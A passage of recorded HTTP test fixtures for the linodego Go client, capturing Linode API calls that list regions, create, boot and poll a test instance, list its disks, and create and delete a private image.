1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-9u4r2x72sh2f","root_pass":"Cx*8NR9NY*''g/1\\B0O?1(B279!D7KYmu1yb/w;zbHAN9z[2,N,`2b0;qrhz0U`2a","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 52557494, "label": "go-test-ins-9u4r2x72sh2f", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.250.245"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "743" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557494/boot method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557494 method: GET response: body: '{"id": 52557494, "label": "go-test-ins-9u4r2x72sh2f", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.250.245"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "743" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557494 method: GET response: body: '{"id": 52557494, "label": "go-test-ins-9u4r2x72sh2f", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.250.245"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "743" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557494 method: GET response: body: '{"id": 52557494, "label": "go-test-ins-9u4r2x72sh2f", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.250.245"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557494 method: GET response: body: '{"id": 52557494, "label": "go-test-ins-9u4r2x72sh2f", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.250.245"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557494/disks method: GET response: body: '{"data": [{"id": 104235156, "status": "ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 25088}, {"id": 104235157, "status": "ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "387" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557494/disks method: GET response: body: '{"data": [{"id": 104235156, "status": "ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 25088}, {"id": 104235157, "status": "ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "387" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"disk_id":104235156,"label":"go-test-image-k1q17n34zu5s"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images method: POST response: body: '{"id": "private/22831456", "label": "go-test-image-k1q17n34zu5s", "description": "", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 25088, "created_by": "youjungk01", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "creating", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "341" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write,linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F22831456 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557494 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_Disk_ListMultiple_Secondary.yaml000066400000000000000000001356001455402072200354610ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", 